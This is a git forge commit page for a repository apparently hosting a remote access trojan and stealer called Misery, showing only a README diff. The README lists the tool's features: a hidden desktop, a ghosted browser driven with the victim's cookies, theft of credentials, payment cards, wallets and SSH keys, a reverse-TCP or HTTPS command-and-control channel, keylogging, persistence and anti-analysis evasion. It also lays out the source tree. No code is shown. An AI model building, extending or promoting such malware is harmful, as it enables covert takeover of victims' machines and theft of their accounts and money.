admin/JYenn-Misery
1
0
Fork 0
mirror of https://git.churchofmalware.org/JYenn/Misery synced 2026-09-22 05:27:07 +00:00
Code Issues Packages Projects Releases Wiki Activity

ghost: seed sign-in cookies via CDP; Edge ABE vtable fix, 24H2 syscall sizes, relay chunked bodies

Browse Source
This commit is contained in:
JYenn
2026-08-16 00:29:40 +01:00
parent 11ce3c0def
commit 8e64b360d7
20 changed files with 458 additions and 64 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+12 -12
View File
@@ -11,7 +11,7 @@ HVNC RAT + stealer research project (Misery-derived). For local testing and rese
- Hidden desktop (`hvnc start`): GDI apps on a hidden desktop, streamed live
- Interactive browser (`hvnc launch chrome`): real Chromium with the victim's logins, driven over CDP
- Ghosted browser (`ghost <url>`): hidden Chrome/Edge session using the victim's cookies and logins
- Credential and app-session harvesting: Chrome, Edge, Brave, Opera, Opera GX, Firefox; Discord, Steam, Telegram, Slack, Signal, VS Code, AWS, SSH keys, Wi-Fi passwords, wallets
- Credential and app-session harvesting: Chrome, Edge, Brave, Opera, Opera GX, Firefox; payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extension paths, and a Signal session file listing
- Single encrypted C2 channel: reverse TCP (default) or HTTPS beaconing through a CDN
- Keylogger + clipboard monitoring
- Persistence (HKCU Run key + WMI event subscriptions)
@@ -64,17 +64,17 @@ Fresh checkout builds against `127.0.0.1:4444`; run `setup.py` once so `.misery_
## Layout
- `src/agent` – entry, C2 client, injector, persistence
- `src/console` – operator console + listener
- `src/payload` – payload DLL, reflective loader, trampoline
- `src/stealer` – Misery-derived sources
- `src/hvnc` – hidden-desktop session
- `src/ghost` – ghosted browser session
- `src/browser` – CDP client (Page/Input over WebSocket)
- `src/rat` – keylogger + clipboard
- `src/transport` – encrypted TCP framing, HTTPS beacon carrier, compression
- `src/evasion` – indirect syscalls, anti-analysis, helpers
- `build/` – out-of-source build dir
- `src/agent`: entry, C2 client, injector, persistence
- `src/console`: operator console + listener
- `src/payload`: payload DLL, reflective loader, trampoline
- `src/stealer`: Misery-derived sources
- `src/hvnc`: hidden-desktop session
- `src/ghost`: ghosted browser session
- `src/browser`: CDP client (Page/Input over WebSocket)
- `src/rat`: keylogger + clipboard
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
- `src/evasion`: indirect syscalls, anti-analysis, helpers
- `build/`: out-of-source build dir
## Licence